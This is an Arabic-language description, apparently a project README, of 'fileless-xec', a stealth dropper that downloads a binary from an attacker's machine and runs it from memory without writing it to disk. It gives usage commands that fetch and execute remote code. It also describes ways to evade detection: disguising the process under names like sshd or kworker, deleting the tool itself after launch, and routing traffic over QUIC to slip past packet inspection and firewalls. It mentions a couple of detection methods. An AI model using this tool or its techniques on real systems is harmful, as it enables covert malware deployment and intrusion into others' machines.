
مُسقط خفي ينفذ ثنائيات عن بعد دون إسقاطها على القرص. (دعم HTTP3، دعم ICMP، مسارات غير مرئية، عبر المنصات،...)

👋 مفيد بالتأكيد، بشكل أساسي للمتعة، مستوحى تقريبًا من مقال 0x00 المقال
استخدامات اختبار الاختراق: يستخدم fileless-xec على الجهاز الهدف لتنفيذ ملف ثنائي موجود على جهاز المهاجم بشكل متخفٍ
يتيح لنا fileless-xec تنفيذ ملف ثنائي عن بُعد على جهاز محلي مباشرة من الذاكرة دون إسقاطه على القرص.
fileless-xec [binary_url] (~curl | sh للثنائيات)fileless-xec -n /usr/sbin/sshd [binary_url]tty: fileless-xec --setsid [...]
writeNsleep الموجود على جهاز عن بُعد محليًا. نبدأ أولاً خادم HTTP بلغة بايثون على الجهاز البعيد. محليًا، نستخدم fileless-xec ونتحكم باسم /usr/sbin/sshd لتنفيذ الثنائي writeNsleep (للتخفي والمتعة). بمجرد بدء writeNsleep، سيحذف fileless-xec نفسه (--self-remove)
fileless-xec يحذف نفسه بمجرد تشغيلهيتم تخزين ملف الثنائي البعيد محليًا باستخدام استدعاء النظام memfd_create، الذي يخزنه داخل قرص ذاكرة غير مرتبط بنظام الملفات (أي لا يمكنك العثور عليه باستخدام ls).
ملاحظة: استدعاء النظام memfd_create غير موجود لنظام macOS.
ثم ننفذه باستخدام استدعاء النظام fexecve (نظرًا لأنه غير متوفر حاليًا في مكتبة syscall للغة Go، نقوم بتنفيذه بأنفسنا).
باستخدام
fexecveيمكننا تنفيذ برنامج، لكننا نُشير إلى البرنامج المراد تشغيله باستخدام واصف ملف، بدلاً من المسار الكامل.
قم بتفعيله باستخدام العلم -Q/http3.يمكنك إعداد خادم ويب خفيف يدعم http3 عن طريق تشغيل go run ./test/http3/light-server.go -p LISTENING PORT (هذا هو المعادل لـ http3 لأمر python3 -m http.server <listening_port>)استخدم test/http3/genkey.sh لتوليد الشهادة والمفتاح.
|
QUIC UDP المعروف بـ http3 هو بروتوكول إنترنت من الجيل الجديد يُسرّع تطبيقات الويب عبر الإنترنت التي تتأثر بالتأخير، مثل البحث، بث الفيديو، إلخ، عن طريق تقليل زمن الرحلة ذهابًا وإيابًا (RTT) اللازم للاتصال بالخادم.
نظرًا لأن QUIC يستخدم تشفيرًا مملوكًا يعادل TLS (سيتغير هذا في المستقبل مع نسخة موحدة)، تواجه جدران الحماية من الجيل الثالث التي توفر التحكم في التطبيقات والرؤية صعوبات في التحكم ومراقبة حركة مرور QUIC.
إذا كنت تستخدم fileless-xec كموزع (لأغراض الاختبار فقط أو بإذن)، فمن المحتمل أنك تريد تنفيذ نوع من البرامج الضارة أو ملف آخر يمكن اكتشافه بواسطة تحليل الحزم. وبالتالي، مع تمكين Quic يمكنك تجاوز تحليل الحزم والحصول على برنامج ضار.
أيضًا، في حالة استخدام جدار الحماية فقط للسماح/حظر حركة المرور، قد يحدث أن تنسى قواعد جدار الحماية بروتوكول UDP مما يجعل طلباتك تذهب تحت الرادار.
على الرغم من عدم وجوده على قرص الذاكرة، لا يزال من الممكن اكتشاف البرنامج الجاري باستخدام أمر ps على سبيل المثال.
fileless-xec --name <fake_name> <binary_raw_url> الاسم الافتراضي هو [kworker/u:0]
fileless-xec --setsid <binary_raw_url>.
لا يزال من الممكن اكتشافك باستخدام:
$ lsof | grep memfd
أو تدقيق ملف تعريف seccomp لاستدعاء النظام execve (لكنه مرهق جدًا لأن أمر sleep يستخدم أيضًا execve على سبيل المثال).